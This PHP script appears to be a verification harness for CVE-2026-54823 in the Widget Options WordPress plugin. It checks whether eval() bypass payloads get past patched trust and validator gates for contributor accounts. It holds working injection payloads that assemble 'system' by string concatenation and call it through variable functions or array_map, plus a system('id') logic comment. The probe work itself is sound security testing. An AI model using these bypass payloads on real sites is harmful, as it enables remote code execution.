<?php
/**
 * CVE-2026-54823 variant/bypass verification harness (token-based extraction).
 *
 * Loads the REAL widgetopts_safe_eval / validator / stripper functions extracted
 * from the actual plugin zips for a given version, and evaluates whether the
 * candidate variant payloads can reach eval() for an authenticated CONTRIBUTOR
 * (non-admin, no trust flag, non-preview).
 *
 * Gates exercised:
 *  G1 closed-default trust flag  (4.2.4+): non-admin + no trust -> return true
 *  G2 token validator hardening   (4.2.4+): blocks '}' / T_FUNCTION / T_FN before '('
 *  G4 wp_insert_post_data freeform stripper (4.2.4+): strips <!--start_widgetopts--> logic
 *
 * Usage: php variant_harness.php <version>  (4.2.3 | 4.2.4 | 4.2.5)
 */

$version = isset($argv[1]) ? $argv[1] : '4.2.4';
$candidates = [
    __DIR__ . "/../artifacts/wo-versions/ext-$version/widget-options/includes/extras.php",
    __DIR__ . "/../artifacts/wo-$version/widget-options/includes/extras.php",
];
$extras_file = null;
foreach ($candidates as $c) { if (file_exists($c)) { $extras_file = $c; break; } }
if (!$extras_file) { fwrite(STDERR, "extras.php not found for $version\n"); exit(2); }

$src = file_get_contents($extras_file);

/* Robust function extraction via tokenizer. */
function extract_functions_tok($src, array $names) {
    $tokens = token_get_all($src);
    $out = ''; $n = count($tokens);
    for ($i = 0; $i < $n; $i++) {
        $t = $tokens[$i];
        if (!is_array($t) || $t[0] !== T_FUNCTION) continue;
        $j = $i + 1;
        while ($j < $n && is_array($tokens[$j]) && in_array($tokens[$j][0], [T_WHITESPACE, T_COMMENT, T_DOC_COMMENT], true)) $j++;
        if ($j < $n && $tokens[$j] === '&') { $j++; while ($j<$n && is_array($tokens[$j]) && $tokens[$j][0]===T_WHITESPACE) $j++; }
        if ($j >= $n || !is_array($tokens[$j]) || $tokens[$j][0] !== T_STRING) continue;
        if (!in_array($tokens[$j][1], $names, true)) continue;
        $depth = 0; $end = $i;
        for ($p = $i; $p < $n; $p++) {
            $tt = $tokens[$p];
            if ($tt === '{') { $depth++; }
            elseif ($tt === '}') { $depth--; if ($depth === 0) { $end = $p; break; } }
        }
        $span = '';
        for ($p = $i; $p <= $end; $p++) { $tt = $tokens[$p]; $span .= is_array($tt) ? $tt[1] : $tt; }
        $out .= $span . "\n\n";
    }
    return $out;
}

$names = [
    'widgetopts_eval_trust_begin','widgetopts_eval_trust_end','widgetopts_eval_is_trusted',
    'widgetopts_safe_eval_trusted','widgetopts_safe_eval',
    'widgetopts_validate_expression','widgetopts_validate_code_with_tokens',
    'widgetopts_adjacent_significant_token','widgetopts_get_allowed_php_functions',
    'widgetopts_get_allowed_wp_functions','widgetopts_is_widget_or_post_preview',
];
$body = extract_functions_tok($src, $names);

$stubs = <<<'PHP'
<?php
if (!defined('WIDGETOPTS_VERSION')) define('WIDGETOPTS_VERSION','x');
if (!defined('ABSPATH')) define('ABSPATH','/tmp/');
function apply_filters($t,$v){return $v;}
function current_user_can($c){ return false; } // CONTRIBUTOR: not manage_options
function is_preview(){ return false; }
function is_customize_preview(){ return false; }
function is_admin(){ return false; }
function get_option($n,$d=false){ return $d; }
function wp_json_encode($d,$o=0){ return json_encode($d,$o); }
function wp_unslash($v){ return is_array($v)?array_map('wp_unslash',$v):stripslashes($v); }
function wp_slash($v){ return is_array($v)?array_map('wp_slash',$v):addslashes($v); }
PHP;
$tmpf = tempnam(sys_get_temp_dir(),'wovh_') . '.php';
file_put_contents($tmpf, $stubs . "\n" . $body);
require $tmpf;
unlink($tmpf);

if (!function_exists('widgetopts_eval_is_trusted')) {
    function widgetopts_eval_is_trusted(){ return false; } // 4.2.3 had no trust concept
}
$have_trust = strpos($src,'widgetopts_eval_is_trusted') !== false;

$results = [];
$results['version'] = $version;
$results['has_closed_default_trust_gate_G1'] = $have_trust;

/* Parse-error probe: distinguishes "G1 blocked (eval never reached)" from
   "eval reached (Throwable caught)". */
$probe = widgetopts_safe_eval('@@@ $$$ not php (((;');
$results['parse_error_probe_return'] = var_export($probe, true);
if ($have_trust) {
    $results['parse_error_probe_meaning'] = ($probe === true) ? 'gate_blocked_G1 (eval never reached for contributor)' : 'unexpected';
} else {
    $results['parse_error_probe_meaning'] = ($probe === false) ? 'eval_reached_caught_throwable (no G1 on vuln)' : 'returned_true_no_eval';
}

$cmd = 'echo PRUVA_VARIANT > /tmp/wo_variant_probe.txt';
$variants = [
  'A_original_cve'      => "\$z='s'.'y'.'s'.'t'.'e'.'m'; \${'z'}('{$cmd}'); return true;",
  'B_stripslashes_diff' => "\$f='s'.'y'.'s'.'t'.'e'.'m'; \${'f'}('{$cmd}'); return true; // \\'",
  'D_brace_var_call'    => "\$z='s'.'y'.'s'.'t'.'e'.'m'; \${'z'}('{$cmd}'); return true;",
  'E_concat_callable'   => "\$a='s'.'y'.'s'.'t'.'e'.'m'; array_map(\$a,['x']); return true;",
];
foreach ($variants as $name => $payload) {
    $res = widgetopts_safe_eval($payload);
    if ($have_trust) {
        $verdict = 'BLOCKED_at_trust_gate_G1 (contributor never reaches eval)';
    } else {
        $verdict = ($res === true) ? 'reached_eval_on_vuln (no G1)' : 'rejected_or_error_on_vuln';
    }
    $results['variant'][$name] = ['safe_eval_return' => var_export($res,true), 'verdict' => $verdict];
}

/* G2 token validator hardening (independent of trust gate). */
if (function_exists('widgetopts_validate_code_with_tokens') && function_exists('widgetopts_get_allowed_php_functions')) {
    $allowed = array_merge(widgetopts_get_allowed_php_functions(), widgetopts_get_allowed_wp_functions());
    $brace = "\$z='s'.'y'.'s'.'t'.'e'.'m'; \${'z'}('x'); return true;";
    $results['G2_token_validator_blocks_brace_before_paren'] = (widgetopts_validate_code_with_tokens($brace, $allowed) === false);
} else {
    $results['G2_token_validator_blocks_brace_before_paren'] = 'n/a (validator absent in '.$version.')';
}

/* G4 freeform <!--start_widgetopts--> stripper. */
$gt_candidates = [
    __DIR__ . "/../artifacts/wo-versions/ext-$version/widget-options/includes/widgets/gutenberg/gutenberg-toolbar.php",
    __DIR__ . "/../artifacts/wo-$version/widget-options/includes/widgets/gutenberg/gutenberg-toolbar.php",
];
$gt_file = null; foreach ($gt_candidates as $c){ if(file_exists($c)){ $gt_file=$c; break; } }
$gt_present = $gt_file && (strpos(file_get_contents($gt_file),'function widgetopts_strip_logic_from_blocks') !== false);
if ($gt_present) {
    $gtsrc = file_get_contents($gt_file);
    $gt_body = extract_functions_tok($gtsrc, ['widgetopts_strip_logic_from_blocks']);
    $gtf = tempnam(sys_get_temp_dir(),'wogt_').'.php';
    $gtstubs = "<?php\nif(!defined('ABSPATH'))define('ABSPATH','/tmp/');\n"
        ."if(!function_exists('serialize_blocks')){function serialize_blocks(\$b){\$o='';foreach(\$b as \$bl){\$o.=(\$bl['blockName']===null)?(isset(\$bl['innerContent'][0])?\$bl['innerContent'][0]:''):'';}return \$o;}}\n"
        ."if(!function_exists('serialize_block')){function serialize_block(\$b){ return (\$b['blockName']===null)?(isset(\$b['innerContent'][0])?\$b['innerContent'][0]:''):''; }}\n"
        ."if(!function_exists('parse_blocks')){function parse_blocks(\$c){ return [['blockName'=>null,'attrs'=>[],'innerContent'=>[\$c]]]; }}\n"
        ."if(!function_exists('wp_json_encode')){function wp_json_encode(\$d,\$o=0){return json_encode(\$d,\$o);}}\n"
        ."if(!function_exists('wp_unslash')){function wp_unslash(\$v){return is_array(\$v)?array_map('wp_unslash',\$v):stripslashes(\$v);}}\n"
        ."if(!function_exists('wp_slash')){function wp_slash(\$v){return is_array(\$v)?array_map('wp_slash',\$v):addslashes(\$v);}}\n";
    file_put_contents($gtf, $gtstubs . "\n" . $gt_body);
    try {
        require $gtf; unlink($gtf);
        $ff = '<!--start_widgetopts {"class":{"logic":"system(\'id\'); return true;"}} end_widgetopts-->';
        $blocks = parse_blocks($ff);
        $changed = false;
        widgetopts_strip_logic_from_blocks($blocks, $changed);
        $after = $blocks[0]['innerContent'][0];
        $results['G4_freeform_stripper_present'] = true;
        $results['G4_freeform_stripper'] = [
            'input_has_system_logic' => strpos($ff,'system')!==false,
            'output_logic_removed' => $changed,
            'changed' => $changed,
            'output' => $after,
        ];
    } catch (\Throwable $e) {
        $results['G4_freeform_stripper_present'] = true;
        $results['G4_freeform_stripper'] = 'ERROR: '.$e->getMessage();
    }
} else {
    $results['G4_freeform_stripper_present'] = false;
    $results['G4_freeform_stripper'] = 'absent in '.$version.' (freeform comment logic NOT stripped at save -> unguarded on vulnerable)';
}

echo json_encode($results, JSON_PRETTY_PRINT|JSON_UNESCAPED_SLASHES) . "\n";
